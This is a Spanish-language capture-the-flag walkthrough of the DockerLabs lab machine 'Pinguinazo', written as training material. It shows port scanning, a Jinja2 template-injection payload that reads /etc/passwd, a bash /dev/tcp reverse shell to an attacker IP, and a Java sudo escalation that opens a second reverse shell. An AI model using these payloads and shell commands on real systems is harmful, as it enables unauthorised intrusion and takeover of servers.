Pinguinazo , DockerLabs
En este reto de DockerLabs encontramos con escaneo de puertos para buscar una entrada al sistema,un server side template inyection , revshell y escalada.
Herramientas y recursos usados
- Nmap
- Revshell java
- revshell
Enumeracion
Empezamos lanzando un nmap contra el objetivo .
1
nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pinguinazo 172.17.0.2
Podemos ver claramente la version que corre y el puerto por el que tenemos acceso al werkzeug 3.1 Revisamos la web y el titulo nos confirma esta creada con flask y por lo general flask usa el motor de plantillas jinja.”Django tambien lo usa”. Solo teniendo eso al alcanze hay que ver que vulberabilidad podria tener. Yo me volvi loco buscando como explotar eso estuve intentando quebrar el pin de la consola para tener acceso pero sin resultado dado que se necesitan recuperar varios datos del server y en esta version creo que es imposible de obtenerlos.
Haber si hay suerte y mario nos arma una con esa vulnerabilidad, que quede con las ganas de aprenderla.
Por tanto tiene que ser mas sencillo, pruebo a inyectar codigo html.
Si se ha tragado el html podriamos probar a inyectar otro tipo de payload que no solo lo interprete si no que ejecute codigo , para ello probamos con un ssti dado que la info info obtenida de google nos dice que podria ser vulnerable.
Comprobamos con una divison contra 0 y vemos que nos da error por tanto tenemos un ssti y podrmos lanzarnos una revshell desde ahi mismo.
Podriamos leer ficheros pero teniendo solo el puerto 5000 abierto no nos sera de utilidad asi que nos mandamos un revshell.
Lectura de ficheros ejemplo.
{{config.class.init.globals[‘os’].popen(‘cat /etc/passwd’).read()}}
Explotacion e infiltracion
Lanzando revshell , como siempre primero a la escucha con nc.
Yo me he creado un fichero html em mi maquina atacante con el contendio para mandarme una revshell despues lo pipeo a bash para que lo ejecute el server.
Contenido del archivo html.
1
bash -c 'exec bash -i &>/dev/tcp/192.168.0.112/443 <&1'
Levantamos un server con python3 y lanzamos la orden desde la web.
Ya estamos dentro de la maquina.
Escalada
Yo como siempre empiezo con sudo -l.
Me toca buscar en la web porque nunca he realizado la escalada con java asi que al lio.
Debemos de crear un fichero java con el contenido que creamos oportuno y lo ejecutamos con sudo.
En este caso creamos un revshell
1
2
3
4
5
6
7
8
9
10
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.0.112/9001 0>&1");
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Creamos el fichero con el contenido correcto yo lo llamo revshell.java y posteriormente ejecuto java con sudo llamando al script recien creado.
Hasta aqui el pinguinazo que me volvio loco …….
Gracias por leer.
Comments powered by Disqus.